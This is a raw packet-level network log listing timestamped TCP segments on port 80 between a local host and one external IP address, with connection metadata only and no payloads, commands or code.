Jul 13, 2021 14:37:56.019268990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019284010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019289017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019299030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019316912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019325972 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019334078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019349098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019352913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019364119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019371033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019378901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019392967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019406080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019407988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019422054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019438982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019440889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019457102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019462109 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019471884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019486904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019493103 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019520998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019525051 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019553900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019572973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019588947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019603968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019609928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019618988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019634008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019649982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019670010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019678116 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019702911 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019710064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019726038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019741058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019756079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019762993 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019771099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019785881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019802094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019804955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019828081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019831896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019846916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019871950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019890070 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019896984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019923925 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019953966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019979000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.019988060 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.019994020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020011902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020034075 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020040989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020056009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020071983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020087004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020097971 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020102024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020117044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020134926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020137072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020150900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020178080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020193100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020200014 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020217896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020231962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020236015 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020251036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020260096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020287037 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020524979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020551920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020602942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020607948 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020618916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020662069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020662069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020678043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020701885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020720959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020736933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020749092 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020751953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020766973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020777941 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020782948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020807028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020833015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020839930 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020860910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020875931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020890951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020905972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020909071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020920992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020936012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020953894 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020955086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.020991087 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.020991087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021024942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021070004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021102905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021109104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021119118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021135092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021148920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021151066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021167040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021183968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021188974 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021198034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021213055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021231890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021286964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021303892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021322012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021337032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021337986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021353960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021368980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021373987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021404028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021416903 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021440983 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021445990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021461010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021475077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021492958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021497011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021508932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021523952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021538019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021543026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021553040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021568060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021583080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021583080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021609068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021632910 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021724939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021750927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021765947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021785021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021812916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021827936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021847010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021852970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021882057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021888018 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021899939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021915913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021930933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021945953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021954060 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.021960974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.021991014 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022018909 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022201061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022216082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022234917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022252083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022262096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022284985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022298098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022313118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022361040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022368908 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022377968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022392988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022407055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022409916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022422075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022437096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022453070 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022454977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022471905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022478104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022485971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022500992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022515059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022516966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022530079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022545099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022550106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022558928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022577047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022583961 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022593975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022609949 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022622108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022636890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022639036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022663116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022674084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022676945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022696018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022711992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022726059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022739887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022741079 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022754908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022768974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022784948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022785902 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022799015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022818089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022819042 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022834063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.022850990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.022880077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.023135900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023180008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023219109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023230076 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.023235083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023277998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.023329973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023358107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023375034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023412943 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.023439884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023468971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023487091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023504019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023510933 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.023539066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.023574114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023626089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023641109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023670912 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.023696899 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.023797035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023859024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.023902893 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024245977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024262905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024307013 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024331093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024358988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024374008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024389029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024400949 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024403095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024418116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024430037 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024431944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024451017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024452925 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024466991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024482012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024482965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024497032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024511099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024525881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024539948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024540901 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024597883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024614096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024652004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024688005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024703026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024718046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024720907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024735928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024753094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024760962 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024768114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024782896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024789095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024812937 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024817944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024847031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024863005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024867058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024878025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024893045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024908066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024920940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024929047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024935961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024950027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024964094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024967909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024983883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.024993896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.024998903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025022030 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.025042057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025057077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025072098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025085926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025110006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.025122881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025140047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025155067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025170088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025176048 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.025216103 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.025288105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025315046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025331974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025346994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025357008 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.025387049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.025408983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025449991 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.025491953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025507927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025521994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025540113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025556087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025564909 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.025572062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025587082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025600910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025608063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.025615931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025630951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025638103 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.025645971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025664091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025676012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.025681019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025696039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.025702953 CEST	49757	80	192.168.2.3	47.254.186.176
